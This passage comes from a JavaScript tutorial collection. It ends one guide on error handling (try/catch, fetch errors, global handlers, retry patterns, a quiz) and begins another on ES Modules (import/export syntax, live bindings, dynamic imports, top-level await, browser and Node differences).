response.json() return users } catch (error) { console.error('Failed to load users:', error) throw error // Re-throw if caller should handle it } } ``` ### The fetch() Trap: Check response.ok This catches many developers off guard: **`fetch()` doesn't throw on HTTP errors** like 404 or 500. It only throws on network failures. ```javascript // ❌ WRONG - This won't catch 404 or 500 errors! try { const response = await fetch('/api/users/999') const user = await response.json() // Might fail on error response } catch (error) { // Only catches network errors, not HTTP errors } // ✓ CORRECT - Check response.ok try { const response = await fetch('/api/users/999') if (!response.ok) { throw new Error(`HTTP error: ${response.status}`) } const user = await response.json() } catch (error) { // Now catches both network AND HTTP errors console.error('Request failed:', error.message) } ``` <Warning> **The #1 async mistake:** Using `forEach` with async callbacks doesn't work as expected. Use `for...of` for sequential or `Promise.all` for parallel. See our [async/await guide](/concepts/async-await) for details. </Warning> --- ## Global Error Handlers Global error handlers catch errors that slip through your try/catch blocks. They're a safety net of last resort, not a replacement for proper error handling. ### window.onerror - Synchronous Errors Catches uncaught errors in the browser: ```javascript window.onerror = function(message, source, lineno, colno, error) { console.log('Uncaught error:', message) console.log('Source:', source, 'Line:', lineno) // Send to error tracking service logErrorToService(error) // Return true to prevent default browser error handling return true } ``` ### unhandledrejection - Promise Rejections Catches unhandled Promise rejections: ```javascript window.addEventListener('unhandledrejection', event => { console.warn('Unhandled promise rejection:', event.reason) // Prevent the default browser warning event.preventDefault() // Log to error tracking service logErrorToService(event.reason) }) ``` <Tip> **When to use global handlers:** - Logging errors to a service like Sentry or LogRocket - Showing a generic "something went wrong" message - Tracking errors in production **Not for:** Regular error handling. Always prefer specific try/catch blocks. </Tip> --- ## Common Mistakes ### Mistake 1: Empty catch Blocks (Swallowing Errors) ```javascript // ❌ WRONG - Error is silently lost try { riskyOperation() } catch (error) { // Nothing here - you'll never know something failed } // ✓ CORRECT - At minimum, log the error try { riskyOperation() } catch (error) { console.error('Operation failed:', error) } ``` ### Mistake 2: Catching Too Broadly ```javascript // ❌ WRONG - Hides programming bugs try { processData(data) undefinedVriable // Typo! This bug is now hidden } catch (error) { return 'Something went wrong' } // ✓ CORRECT - Only catch expected errors try { return JSON.parse(userInput) } catch (error) { if (error instanceof SyntaxError) { return null // Expected: invalid JSON } throw error // Unexpected: re-throw } ``` ### Mistake 3: Throwing Strings Instead of Errors ```javascript // ❌ WRONG - No stack trace throw 'User not found' // ✓ CORRECT - Has stack trace for debugging throw new Error('User not found') ``` ### Mistake 4: Not Re-throwing When Needed ```javascript // ❌ WRONG - Caller doesn't know an error occurred async function fetchData() { try { return await fetch('/api/data') } catch (error) { console.log('Error:', error) // Returns undefined - caller thinks it succeeded! } } // ✓ CORRECT - Re-throw or return meaningful value async function fetchData() { try { return await fetch('/api/data') } catch (error) { console.log('Error:', error) throw error // Let caller handle it // OR: return null with explicit meaning } } ``` ### Mistake 5: Forgetting try/catch is Synchronous ```javascript // ❌ WRONG - Won't catch async errors try { setTimeout(() => { throw new Error('Async error') // Uncaught! }, 1000) } catch (error) { console.log('Never runs') } // ✓ CORRECT - Put try/catch inside callback setTimeout(() => { try { throw new Error('Async error') } catch (error) { console.log('Caught:', error.message) } }, 1000) ``` --- ## Real-World Patterns ### Retry Pattern Automatically retry failed operations, useful for flaky network requests: ```javascript async function fetchWithRetry(url, retries = 3) { for (let i = 0; i < retries; i++) { try { const response = await fetch(url) if (!response.ok) throw new Error(`HTTP ${response.status}`) return await response.json() } catch (error) { if (i === retries - 1) throw error // Last attempt, give up // Wait before retrying (exponential backoff) await new Promise(r => setTimeout(r, 1000 * Math.pow(2, i))) } } } ``` ### Validation Error Pattern Collect multiple validation errors at once: ```javascript class ValidationError extends Error { constructor(errors) { super('Validation failed') this.name = 'ValidationError' this.errors = errors // { email: "Invalid email", age: "Must be positive" } } } function validateUser(data) { const errors = {} if (!data.email?.includes('@')) { errors.email = 'Invalid email address' } if (data.age < 0) { errors.age = 'Age must be positive' } if (Object.keys(errors).length > 0) { throw new ValidationError(errors) } } // Usage try { validateUser({ email: 'bad', age: -5 }) } catch (error) { if (error instanceof ValidationError) { // Show errors next to form fields Object.entries(error.errors).forEach(([field, message]) => { showFieldError(field, message) }) } } ``` ### Graceful Degradation Try the ideal path, fall back to alternatives: ```javascript async function loadUserPreferences(userId) { try { // Try to fetch from API return await fetchFromApi(`/preferences/${userId}`) } catch (apiError) { console.warn('API unavailable, trying cache:', apiError.message) try { // Fall back to local storage const cached = localStorage.getItem(`prefs_${userId}`) if (cached) return JSON.parse(cached) } catch (cacheError) { console.warn('Cache unavailable:', cacheError.message) } // Fall back to defaults return { theme: 'light', language: 'en' } } } ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Use try/catch for synchronous code** — Wrap risky operations and handle errors appropriately 2. **try/catch is synchronous** — It won't catch errors in callbacks. Use `.catch()` for Promises or try/catch inside async functions 3. **Always throw Error objects, not strings** — Error objects include stack traces that are essential for debugging 4. **Always check response.ok with fetch** — `fetch()` doesn't throw on HTTP errors like 404 or 500 5. **Create custom Error classes** — They help categorize errors and add context for better handling 6. **Use finally for cleanup** — Code in finally always runs, perfect for hiding spinners or closing connections 7. **Don't swallow errors** — Empty catch blocks hide bugs. Always log or re-throw 8. **Use error.cause for chaining** — Preserve original errors when wrapping them with more context 9. **Re-throw errors you can't handle** — If you catch an error you didn't expect, re-throw it 10. **Use global handlers as a safety net** — They're for logging and tracking, not for regular error handling </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between try/catch and Promise .catch()?"> **Answer:** `try/catch` only catches **synchronous** errors. If you have async code inside the try block (like setTimeout callbacks), errors won't be caught. Promise `.catch()` catches **Promise rejections**, which are async. With async/await, you can use try/catch because `await` converts rejections to thrown errors. ```javascript // try/catch with async/await - works! try { await fetch('/api/data') } catch (error) { // Catches rejections because await converts them } // try/catch with callbacks - doesn't work! try { setTimeout(() => { throw new Error() }, 1000) } catch (error) { // Never runs - the error is thrown later } ``` </Accordion> <Accordion title="Question 2: Why doesn't fetch() throw on 404 or 500 errors?"> **Answer:** `fetch()` only throws on **network failures** (can't reach the server). HTTP errors like 404 (Not Found) or 500 (Server Error) are valid HTTP responses, so `fetch()` resolves successfully. You must check `response.ok` to detect HTTP errors: ```javascript const response = await fetch('/api/users/999') if (!response.ok) { // 404, 500, etc. throw new Error(`HTTP error: ${response.status}`) } const data = await response.json() ``` </Accordion> <Accordion title="Question 3: Why should you throw Error objects instead of strings?"> **Answer:** Error objects include a **stack trace** showing where the error occurred and the chain of function calls. Strings don't have this information. ```javascript throw 'Something went wrong' // No stack trace throw new Error('Something went wrong') // Has stack trace ``` The stack trace is essential for debugging, especially in production where you can't use a debugger. </Accordion> <Accordion title="Question 4: What does the finally block do?"> **Answer:** The `finally` block **always runs**, whether an error occurred or not, and even if there's a `return` statement in try or catch. It's ideal for cleanup code. ```javascript function example() { try { return 'success' } catch (error) { return 'error' } finally { console.log('Cleanup!') // Always runs! } } example() // Logs "Cleanup!" then returns "success" ``` Use it for: hiding loading spinners, closing connections, releasing resources. </Accordion> <Accordion title="Question 5: How do you handle different error types differently?"> **Answer:** Use `instanceof` to check the error type, or check `error.name`: ```javascript try { riskyOperation() } catch (error) { if (error instanceof TypeError) { console.log('Type error:', error.message) } else if (error instanceof SyntaxError) { console.log('Syntax error:', error.message) } else { // Unknown error - re-throw it throw error } } ``` This is especially useful with custom error classes: ```javascript if (error instanceof ValidationError) { showFormErrors(error.errors) } else if (error instanceof NetworkError) { showOfflineMessage() } ``` </Accordion> <Accordion title="Question 6: What's wrong with this code?"> ```javascript try { const result = riskyOperation() } catch (e) { // Handle error } console.log(result) // ??? ``` **Answer:** `result` is scoped to the try block. It doesn't exist outside of it, so `console.log(result)` throws a ReferenceError. **Fix:** Declare the variable outside the try block: ```javascript let result try { result = riskyOperation() } catch (e) { result = 'fallback value' } console.log(result) // Works! ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between throw and return in JavaScript?"> `return` ends a function and passes a value to the caller. `throw` creates an error that unwinds the call stack until a `catch` block handles it. Use `throw` for exceptional conditions that the current function cannot resolve; use `return` for normal control flow, including returning error indicators like `null` or result objects. </Accordion> <Accordion title="Should I wrap every function in try/catch?"> No. Only use `try/catch` around code that can fail unpredictably — JSON parsing, network requests, file operations, or third-party library calls. Wrapping everything adds noise and hides bugs. As [MDN recommends](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling), handle errors at the appropriate level where you have enough context to recover meaningfully. </Accordion> <Accordion title="What are the built-in Error types in JavaScript?"> The [ECMAScript specification](https://tc39.es/ecma262/#sec-native-error-types-used-in-this-specification) defines seven: `TypeError` (wrong type), `ReferenceError` (undefined variable), `SyntaxError` (invalid syntax), `RangeError` (value out of range), `URIError` (bad URI encoding), `EvalError` (eval-related), and `AggregateError` (multiple errors, ES2021). `TypeError` and `ReferenceError` are by far the most common in practice. </Accordion> <Accordion title="How do I handle errors in async/await code?"> Wrap `await` calls in `try/catch` blocks, just like synchronous code. Unhandled promise rejections can crash Node.js processes — since Node 15, unhandled rejections terminate the process by default. For multiple parallel promises, use `Promise.allSettled()` to capture both successes and failures without short-circuiting. </Accordion> <Accordion title="When should I create custom Error classes?"> Create custom Error classes when you need to distinguish between error categories in catch blocks. For example, `ValidationError`, `NotFoundError`, and `AuthenticationError` let callers handle each case differently. Extend the built-in `Error` class and set a descriptive `name` property so stack traces remain informative. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> Error handling with .catch() and Promise rejection patterns </Card> <Card title="async/await" icon="hourglass" href="/concepts/async-await"> Using try/catch with async functions for cleaner async error handling </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> Error-first callbacks: the original async error handling pattern </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> Understand why try/catch doesn't work with async callbacks </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Error — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error"> Complete reference for the Error object and its properties </Card> <Card title="try...catch — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"> Documentation for try, catch, and finally blocks </Card> <Card title="throw — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw"> How to throw your own errors </Card> <Card title="Control Flow — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling"> MDN guide covering error handling in context </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Error handling, try...catch — JavaScript.info" icon="newspaper" href="https://javascript.info/try-catch"> The definitive guide to JavaScript error handling. Covers everything from basics to rethrowing, with clear examples and interactive exercises. </Card> <Card title="Custom errors, extending Error — JavaScript.info" icon="newspaper" href="https://javascript.info/custom-errors"> Learn to create custom error classes with proper inheritance. The wrapping exceptions pattern here is essential for larger applications. </Card> <Card title="A Definitive Guide to Handling Errors in JavaScript — Kinsta" icon="newspaper" href="https://kinsta.com/blog/errors-in-javascript/"> Comprehensive overview covering all error types, stack traces, and production error handling strategies with middleware examples. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Error Handling — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=blBoIyNhGvY"> Clear 15-minute walkthrough of try/catch/finally with practical examples. Perfect if you prefer watching code being written. </Card> <Card title="try, catch, finally, throw — Fireship" icon="video" href="https://www.youtube.com/watch?v=cFTFtuEQ-10"> Fast-paced overview of error handling fundamentals. Great for a quick refresher or introduction to the topic. </Card> <Card title="JavaScript Error Handling — The Coding Train" icon="video" href="https://www.youtube.com/watch?v=1Rq_LrpcgIM"> Beginner-friendly explanation with live coding examples showing exactly when errors occur and how to handle them. </Card> </CardGroup> ================================================ FILE: docs/concepts/es-modules.mdx ================================================ --- title: "ES Modules" sidebarTitle: "ES Modules: Native Module System" description: "Learn ES Modules in JavaScript. Understand import/export, live bindings, dynamic imports, top-level await, and tree-shaking." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "ES modules, import export, dynamic imports, tree-shaking, module system" --- Why does Node.js have two different module systems? Why can bundlers remove unused code from ES Modules but not from CommonJS? And why do some imports need curly braces while others don't? ES Modules (ESM) is JavaScript's official module system, standardized in ES2015. It's the answer to years of competing module formats, and it's designed from the ground up to be statically analyzable, which unlocks optimizations that older systems simply can't match. ```javascript // math.js - Exporting functionality export const PI = 3.14159 export function square(x) { return x * x } // app.js - Importing what you need import { PI, square } from './math.js' console.log(square(4)) // 16 console.log(PI) // 3.14159 ``` This guide goes beyond the basics. You'll learn why ESM's design makes it better than CommonJS for tooling and optimization, how live bindings work, and the practical differences between browsers and Node.js. <Info> **What you'll learn in this guide:** - Why ES Modules exist and what problems they solve - The key differences between ESM and CommonJS (and when each applies) - How live bindings make ESM exports work differently than CommonJS - All the export and import syntax variations - Dynamic imports for code splitting and lazy loading - Top-level await and when to use it - Browser vs Node.js: how ESM works in each environment - Import maps for bare module specifiers in browsers - How ESM enables tree-shaking and smaller bundles </Info> <Warning> **Prerequisite:** This guide assumes you're familiar with basic module concepts. If terms like "named exports" or "default exports" are new to you, start with our [IIFE, Modules & Namespaces](/concepts/iife-modules) guide first. </Warning> --- ## Why ES Modules Matter For most of JavaScript's history, there was no built-in way to split code into reusable pieces. The language simply didn't have modules. Developers created workarounds: IIFEs to avoid polluting the global scope, the Module Pattern for encapsulation, and eventually third-party systems like CommonJS (for Node.js) and AMD (for browsers). These solutions worked, but they were all invented outside the language itself. Each had tradeoffs, and none could be fully optimized by JavaScript engines or build tools. ES Modules changed that. Introduced in ES2015 (ES6) and formally defined in the [ECMAScript Language Specification](https://tc39.es/ecma262/#sec-modules), ESM is part of the language itself. This means: - **Browsers can load modules natively** without bundlers (though bundlers still help with optimization) - **Tools can analyze your code statically** because imports and exports are declarative - **Unused code can be eliminated** (tree-shaking) because the module graph is known at build time - **The syntax is standardized** across all JavaScript environments Today, ESM is supported in all modern browsers and Node.js — according to [Can I Use](https://caniuse.com/es6-module), ES Modules have over 95% global browser support. It's the module system you should use for new projects. --- ## The Shipping Container Analogy Think of ES Modules like the standardized shipping container that revolutionized global trade. Before shipping containers, cargo was loaded piece by piece. Every ship, truck, and warehouse had different ways of handling goods. It was slow, error-prone, and impossible to optimize at scale. Shipping containers changed everything. A standard size meant cranes, ships, and trucks could all handle cargo the same way. You could plan logistics before the ship even arrived because you knew exactly what you were dealing with. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ COMMONJS vs ES MODULES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ COMMONJS (Dynamic Loading) ES MODULES (Static Analysis) │ │ ─────────────────────────── ──────────────────────────── │ │ │ │ ┌──────────────────────┐ ┌──────────────────────┐ │ │ │ require('./math') │ │ import { add } │ │ │ │ │ │ from './math.js' │ │ │ │ Resolved at │ │ │ │ │ │ RUNTIME │ │ Known at │ │ │ │ │ │ BUILD TIME │ │ │ │ Could be anything: │ │ │ │ │ │ require(userInput) │ │ Tools can: │ │ │ │ require(condition │ │ • See all imports │ │ │ │ ? 'a' : 'b') │ │ • Remove dead code │ │ │ │ │ │ • Optimize bundles │ │ │ └──────────────────────┘ └──────────────────────┘ │ │ │ │ Like loose cargo: Like shipping containers: │ │ flexible but hard standardized and │ │ to optimize optimizable │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ESM's static structure is like those shipping containers. Because imports and exports are declarative (not computed at runtime), tools can "see" your entire module graph before running any code. This visibility enables optimizations that are simply impossible with dynamic systems like CommonJS. --- ## ESM vs CommonJS: The Complete Comparison If you've worked with Node.js, you've used CommonJS. It's been Node's module system since the beginning. But ESM and CommonJS work differently at a core level. | Aspect | ES Modules | CommonJS | |--------|------------|----------| | **Syntax** | `import` / `export` | `require()` / `module.exports` | | **Loading** | Asynchronous | Synchronous | | **Analysis** | Static (build time) | Dynamic (runtime) | | **Exports** | Live bindings (references) | Value copies | | **Strict mode** | Always enabled | Optional | | **Top-level `this`** | `undefined` | `module.exports` | | **File extensions** | Required in browsers | Optional in Node | | **Tree-shaking** | Yes | No | ### Syntax Side-by-Side ```javascript // ───────────────────────────────────────────── // COMMONJS (Node.js traditional) // ───────────────────────────────────────────── // Exporting const PI = 3.14159 function square(x) { return x * x } module.exports = { PI, square } // or: exports.PI = PI // Importing const { PI, square } = require('./math') const math = require('./math') // whole module // ───────────────────────────────────────────── // ES MODULES (modern standard) // ───────────────────────────────────────────── // Exporting export const PI = 3.14159 export function square(x) { return x * x } // Importing import { PI, square } from './math.js' import * as math from './math.js' // namespace import ``` ### Static vs Dynamic: Why It Matters CommonJS imports are function calls that happen at runtime. You can put them anywhere, compute the path dynamically, and even conditionally require different modules: ```javascript // CommonJS - Dynamic (works but prevents optimization) const moduleName = condition ? 'moduleA' : 'moduleB' const mod = require(`./${moduleName}`) if (needsFeature) { const feature = require('./heavy-feature') } ``` ESM imports must be at the top level with string literals. This seems restrictive, but it's a feature, not a bug: ```javascript // ES Modules - Static (enables optimization) import { feature } from './heavy-feature.js' // must be top-level import { helper } from './utils.js' // path must be a string // ❌ These are syntax errors in ESM: // import { x } from condition ? 'a.js' : 'b.js' // if (condition) { import { y } from './module.js' } ``` Because ESM imports are static, bundlers can build a complete picture of your dependencies before running any code. This enables dead code elimination, bundle splitting, and other optimizations. <Tip> **Need dynamic loading in ESM?** Use `import()` for dynamic imports (covered later in this guide). You get the best of both worlds: static analysis for your main code, dynamic loading when you actually need it. </Tip> ### Async vs Sync Loading CommonJS loads modules synchronously. When Node.js hits a `require()`, it blocks until the file is read and executed. This works fine on a server with fast disk access. ESM loads modules asynchronously. The browser fetches module files over the network, which can't block the main thread. This async nature is why: - ESM works natively in browsers - Top-level `await` is possible in ESM - The loading behavior is more predictable --- ## Live Bindings: Why ESM Exports Are Different Here's a difference that trips people up. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules), when you import from a CommonJS module, you get a **copy** of the exported value. When you import from an ES Module, you get a **live binding**: a reference to the original variable. ```javascript // ───────────────────────────────────────────── // counter.cjs (CommonJS) // ───────────────────────────────────────────── let count = 0 function increment() { count++ } function getCount() { return count } module.exports = { count, increment, getCount } // ───────────────────────────────────────────── // main.cjs (CommonJS consumer) // ───────────────────────────────────────────── const { count, increment, getCount } = require('./counter.cjs') console.log(count) // 0 increment() console.log(count) // 0 (still! it's a copy) console.log(getCount()) // 1 (function reads the real value) ``` ```javascript // ───────────────────────────────────────────── // counter.mjs (ES Module) // ───────────────────────────────────────────── export let count = 0 export function increment() { count++ } // ───────────────────────────────────────────── // main.mjs (ESM consumer) // ───────────────────────────────────────────── import { count, increment } from './counter.mjs' console.log(count) // 0 increment() console.log(count) // 1 (live binding reflects the change!) ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ LIVE BINDINGS EXPLAINED │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ COMMONJS (Value Copy) ES MODULES (Live Binding) │ │ ───────────────────── ──────────────────────── │ │ │ │ counter.js: counter.js: │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ count: 1 │ │ count: 1 │ ◄───────┐ │ │ └─────────────┘ └─────────────┘ │ │ │ │ ▲ │ │ │ │ copy at │ reference │ │ │ │ require time │ always │ │ │ ▼ │ current │ │ │ main.js: main.js: │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ │ count: 0 │ (stale!) │ count ──────┼─────────┘ │ │ └─────────────┘ └─────────────┘ │ │ │ │ The imported value is The import IS the │ │ frozen at require time original variable │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Why Live Bindings Matter Live bindings have practical implications: 1. **Singleton state works correctly** — If a module exports state, all importers see the same state 2. **Circular dependencies are safer** — Because bindings are live, you can have modules that depend on each other (though you should still avoid this when possible) 3. **You can't reassign imports** — `count = 5` throws an error because you don't own that binding ```javascript import { count } from './counter.js' count = 10 // ❌ TypeError: imported bindings are read-only // Even though 'count' is 'let' in the source, you can't reassign it here ``` <Note> Imported bindings are always read-only to the importer. Only the module that exports a variable can modify it. This prevents confusing "action at a distance" bugs. </Note> --- ## Export Syntax Deep Dive ES Modules give you several ways to export functionality. Here's the complete picture. ### Named Exports The most common pattern. You can export inline or group exports at the bottom: ```javascript // Inline named exports export const PI = 3.14159 export function calculateArea(radius) { return PI * radius * radius } export class Circle { constructor(radius) { this.radius = radius } } // Or group them at the bottom (same result) const PI = 3.14159 function calculateArea(radius) { return PI * radius * radius } class Circle { constructor(radius) { this.radius = radius } } export { PI, calculateArea, Circle } ``` ### Renaming Exports Use `as` to export under a different name: ```javascript function internalHelper() { /* ... */ } export { internalHelper as helper } // Consumers import as: import { helper } from './module.js' ``` ### Default Exports Each module can have one default export. It represents the module's "main" thing: ```javascript // A class as default export export default class Logger { log(message) { console.log(`[LOG] ${message}`) } } // Or a function export default function formatDate(date) { return date.toISOString() } // Or a value (note: no variable declaration with default) export default { name: 'Config', version: '1.0.0' } ``` ### Mixing Named and Default Exports You can have both, though use this sparingly: ```javascript // React does this: default for the main API, named for utilities export default function React() { /* ... */ } export function useState() { /* ... */ } export function useEffect() { /* ... */ } // Consumer can import both: import React, { useState, useEffect } from 'react' ``` ### Re-Exporting (Barrel Files) Re-exports let you aggregate multiple modules into one entry point. This is common in libraries: ```javascript // utils/index.js (barrel file) export { formatDate, parseDate } from './date.js' export { formatCurrency } from './currency.js' export { default as Logger } from './logger.js' // Re-export everything from a module export * from './math.js' // Re-export with rename export { helper as utilHelper } from './helpers.js' ``` Now consumers can import from one place: ```javascript import { formatDate, formatCurrency, Logger } from './utils/index.js' ``` <Warning> **Barrel file gotcha:** Re-exporting everything with `export *` can hurt tree-shaking. The bundler may include code you don't use. Prefer explicit re-exports for better optimization. </Warning> --- ## Import Syntax Deep Dive Every export style has a corresponding import style. ### Named Imports Import specific exports by name (must match exactly): ```javascript import { PI, calculateArea } from './math.js' import { formatDate } from './date.js' ``` ### Renaming Imports Use `as` when names conflict or you want something clearer: ```javascript import { formatDate as formatDateISO } from './date.js' import { formatDate as formatDateUS } from './date-us.js' ``` ### Default Imports No curly braces. You choose the name: ```javascript // The module exports: export default class Logger { } import Logger from './logger.js' // common convention: match the export import MyLogger from './logger.js' // but any name works import L from './logger.js' // even short names ``` ### Namespace Imports Import everything as a single object: ```javascript import * as math from './math.js' console.log(math.PI) // 3.14159 console.log(math.calculateArea(5)) // 78.54 console.log(math.default) // the default export, if any ``` ### Combined Imports Mixing default and named in one statement: ```javascript // Module exports both default and named import React, { useState, useEffect } from 'react' import lodash, { debounce, throttle } from 'lodash' ``` ### Side-Effect Imports Import a module just for its side effects (no bindings): ```javascript import './polyfills.js' // runs the file, imports nothing import './analytics.js' // sets up tracking import './styles.css' // with bundler support ``` ### Module Specifiers The string after `from` is called the module specifier: ```javascript // Relative paths (start with ./ or ../) import { x } from './utils.js' import { y } from '../shared/helpers.js' // Absolute paths (less common) import { z } from '/lib/utils.js' // Bare specifiers (no path prefix) import { useState } from 'react' // needs bundler or import map import lodash from 'lodash' ``` <Tip> **Bare specifiers** like `'react'` don't work in browsers by default — browsers don't know where to find `'react'`. You need either a bundler or an import map (covered later). </Tip> --- ## Module Characteristics ES Modules have built-in behaviors that differ from regular scripts. ### Automatic Strict Mode Every ES Module runs in strict mode automatically. No `"use strict"` needed: ```javascript // In a module, this throws an error: undeclaredVariable = 'oops' // ReferenceError: undeclaredVariable is not defined // These also fail: delete Object.prototype // TypeError function f(a, a) {} // SyntaxError: duplicate parameter ``` ### Module Scope Variables in a module are local to that module, not global: ```javascript // module.js const privateValue = 'secret' // not on window/global var alsoPrivate = 'hidden' // var doesn't leak to global either // Only exports are accessible from outside export const publicValue = 'visible' ``` ### Singleton Behavior A module's code runs exactly once, no matter how many times you import it: ```javascript // counter.js console.log('Module initialized!') // logs once export let count = 0 // a.js import { count } from './counter.js' // "Module initialized!" // b.js import { count } from './counter.js' // nothing logged (already ran) ``` This makes modules natural singletons. All importers share the same instance. ### `this` is `undefined` At the top level of a module, `this` is `undefined` (not `window` or `global`): ```javascript // script.js (regular script) console.log(this) // window (in browser) // module.js (ES Module) console.log(this) // undefined ``` ### Import Hoisting Imports are hoisted to the top of the module. You can reference imported values before the import statement in code order (though you shouldn't): ```javascript // This works (but don't write code like this) console.log(helper()) // imports are hoisted import { helper } from './utils.js' ``` ### Deferred Execution in Browsers Module scripts are deferred by default. They don't block HTML parsing and execute after the document is parsed: ```html <!-- Blocks parsing until loaded and executed --> <script src="blocking.js"></script> <!-- Deferred automatically (like adding defer attribute) --> <script type="module" src="module.js"></script> ``` --- ## Dynamic Imports Static imports must be at the top level, but sometimes you need to load modules dynamically. That's what `import()` is for. ### The `import()` Expression [`import()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) looks like a function call, but it's special syntax. It returns a Promise that resolves to the module's namespace object: ```javascript // Load a module dynamically const module = await import('./math.js') console.log(module.PI) // 3.14159 console.log(module.default) // the default export, if any // Or with .then() import('./math.js').then(module => { console.log(module.PI) }) ``` ### Accessing Exports With dynamic imports, you get a module namespace object: ```javascript // Named exports are properties const { formatDate, parseDate } = await import('./date.js') // Default export is on the 'default' property const { default: Logger } = await import('./logger.js') // or const loggerModule = await import('./logger.js') const Logger = loggerModule.default ``` ### Real-World Use Cases **Route-based code splitting:** ```javascript // Load page components only when navigating async function loadPage(pageName) { const pages = { home: () => import('./pages/Home.js'), about: () => import('./pages/About.js'), contact: () => import('./pages/Contact.js') } const pageModule = await pages[pageName]() return pageModule.default } ``` **Conditional feature loading:** ```javascript // Only load heavy charting library if user needs it async function showChart(data) { const { Chart } = await import('chart.js') const chart = new Chart(canvas, { /* ... */ }) } ``` **Lazy loading based on feature detection:** ```javascript let crypto if (typeof window !== 'undefined' && window.crypto) { crypto = window.crypto } else { // Only load polyfill in environments that need it const module = await import('crypto-polyfill') crypto = module.default } ``` **Loading based on user preference:** ```javascript async function loadTheme(themeName) { // Path is computed at runtime - not possible with static imports const theme = await import(`./themes/${themeName}.js`) applyTheme(theme.default) } ``` <Note> `import()` works in regular scripts too, not just modules. This is useful for adding ESM libraries to legacy codebases. </Note> --- ## Top-Level Await ES Modules support `await` at the top level, outside of any function. This is useful for setup that requires async operations. ```javascript // config.js const response = await fetch('/api/config') export const config = await response.json() // database.js import { MongoClient } from 'mongodb' const client = new MongoClient(uri) await client.connect() export const db = client.db('myapp') ``` ### How It Affects Module Loading When a module uses top-level await, it blocks modules that depend on it: ```javascript // slow.js await new Promise(r => setTimeout(r, 2000)) // 2 second delay export const value = 42 // app.js import { value } from './slow.js' // waits for slow.js to finish console.log(value) // logs after 2 seconds ``` Modules that don't depend on `slow.js` can still load in parallel. ### When to Use (and When Not To) **Good uses:** ```javascript // Loading configuration at startup export const config = await loadConfig() // Database connection that's needed before anything else export const db = await connectToDatabase() // One-time initialization await initializeAnalytics() ``` **Avoid:** ```javascript // ❌ Don't do slow operations that could be lazy const heavyData = await fetch('/api/huge-dataset') // blocks everything // ✓ Better: export a function that fetches when needed export async function getHeavyData() { return fetch('/api/huge-dataset') } ``` <Warning> Top-level await can create waterfall loading. If module A awaits and module B depends on A, then module C depends on B, everything loads sequentially. Use it judiciously. </Warning> --- ## Browser vs Node.js: ESM Differences ES Modules work in both browsers and Node.js, but there are differences in how you enable and use them. ### Enabling ESM | Environment | How to Enable | |-------------|---------------| | **Browser** | `<script type="module" src="app.js"></script>` | | **Node.js** | Use `.mjs` extension, or set `"type": "module"` in package.json | **Browser:** ```html <!-- The type="module" attribute enables ESM --> <script type="module" src="./app.js"></script> <!-- Inline module --> <script type="module"> import { greet } from './utils.js' greet('World') </script> ``` **Node.js:** ```javascript // Option 1: Use .mjs extension // math.mjs export const add = (a, b) => a + b // Option 2: Set type in package.json // package.json: { "type": "module" } // Then .js files are treated as ESM ``` ### File Extensions | Environment | Extension Required? | |-------------|---------------------| | **Browser** | Yes — must include `.js` or full URL | | **Node.js** | Yes for ESM (can omit for CommonJS) | ```javascript // Browser - extensions required import { helper } from './utils.js' // ✓ import { helper } from './utils' // ❌ 404 error // Node.js ESM - extensions required import { helper } from './utils.js' // ✓ import { helper } from './utils' // ❌ ERR_MODULE_NOT_FOUND ``` ### Bare Specifiers ```javascript import lodash from 'lodash' // "bare specifier" - no path prefix ``` | Environment | Bare Specifier Support | |-------------|------------------------| | **Browser** | No (needs import map or bundler) | | **Node.js** | Yes (looks in node_modules) | ### `import.meta` Both environments provide [`import.meta`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta), but with different properties: ```javascript // Browser console.log(import.meta.url) // "https://example.com/js/app.js" // Node.js console.log(import.meta.url) // "file:///path/to/app.js" console.log(import.meta.dirname) // "/path/to" (Node v20.11.0+) console.log(import.meta.filename) // "/path/to/app.js" (Node v20.11.0+) ``` ### CORS in Browsers When loading modules from different origins, browsers enforce CORS: ```html <!-- Same-origin: works fine --> <script type="module" src="/js/app.js"></script> <!-- Cross-origin: server must send CORS headers --> <script type="module" src="https://other-site.com/module.js"></script> <!-- Requires: Access-Control-Allow-Origin header --> ``` ### Summary Table | Feature | Browser | Node.js | |---------|---------|---------| | Enable via | `type="module"` | `.mjs` or `"type": "module"` | | File extensions | Required | Required for ESM | | Bare specifiers | Import map needed | Works (node_modules) | | Top-level await | Yes | Yes | | `import.meta.url` | Full URL | `file://` path | | CORS | Enforced | N/A | | Runs in strict mode | Yes | Yes | --- ## Import Maps [Import maps](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap) solve a browser problem: how do you use bare specifiers like `'lodash'` without a bundler? 